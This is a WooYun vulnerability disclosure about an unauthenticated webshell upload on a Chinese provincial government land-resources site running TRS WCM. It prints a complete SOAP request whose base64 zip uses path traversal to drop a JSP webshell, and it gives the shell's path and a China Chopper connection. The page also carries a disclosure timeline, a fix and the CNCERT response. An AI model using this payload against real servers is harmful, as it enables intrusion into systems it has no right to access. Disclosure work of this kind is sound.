当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0210319

漏洞标题:内蒙古国土资源厅getshell

相关厂商:内蒙古国土资源厅

漏洞作者: 路人甲

提交时间:2016-05-19 14:10

修复时间:2016-07-07 16:50

公开时间:2016-07-07 16:50

漏洞类型:文件上传导致任意代码执行

危害等级:中

自评Rank:9

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-19: 细节已通知厂商并且等待厂商处理中
2016-05-23: 厂商已经确认,细节仅向厂商公开
2016-06-02: 细节向核心白帽子及相关领域专家公开
2016-06-12: 细节向普通白帽子公开
2016-06-22: 细节向实习白帽子公开
2016-07-07: 细节向公众公开

简要描述:

之前看了applychen大神的漏洞分析...
然后,就再网上试了下...
然后,就发现内蒙古国土资源厅存在这个漏洞...

详细说明:

漏洞位置在:http://*.*.*.*/wcm/services/trswcm:SOAPService
问题发生在SOAPServiceImpl.java中的public String importDocuments(byte _pImportFileContent[], String _sFileExt)方法,当_sFileExt为zip时调用importFromZip():
详见applychen的分析 http://**.**.**.**/bugs/wooyun-2010-0162315
可以无需登录直接GETSHELL...
构造WebShell可以按照applychen说的,一步一步来,或者可以参考@小胖子之前的构造方法。
具体构造代码如下:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://**.**.**.**/soap/envelope/" xmlns:soap="http://**.**.**.**/wsdl/soap/"  xmlns:xsd="http://**.**.**.**/1999/XMLSchema"  xmlns:xsi="http://**.**.**.**/1999/XMLSchema-instance"  xmlns:m0="http://**.**.**.**/"  xmlns:SOAP-ENC="http://**.**.**.**/soap/encoding/" xmlns:urn="http://**.**.**.**/wcm/services/trswcm:SOAPService">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<importDocuments> <in0>UEsDBBQAAAAIADUhmkeOyaBJaQkAAKcdAAAcAAA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eOyaBJaQkAAKcdAAAcACQAAAAAAAAAIAAAAAAAAAAuLi8uLi8uLi8uLi93ZWJwaWMvaGVscC5qc3B4CgAgAAAAAAABABgA4x1VMVA/0QEIa6EfUD/RAZRQYkNPP9EBUEsFBgAAAAABAAEAbgAAAKMJAAAAAA==</in0>
<in1>.zip</in1>
</importDocuments>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


构造完成后记得加个header直接上传。
成功后webshell路径:http://*.*.*.*/webpic/help.jspx

漏洞证明:

1、漏洞发生位置截图:

5.jpg


2、构造截图:

2.jpg


3、上传完成后截图:

3.jpg


4、菜刀连接截图:

6.jpg


修复方案:

验证ZIP内的文件路径合法性

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-05-23 16:44

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给内蒙古分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价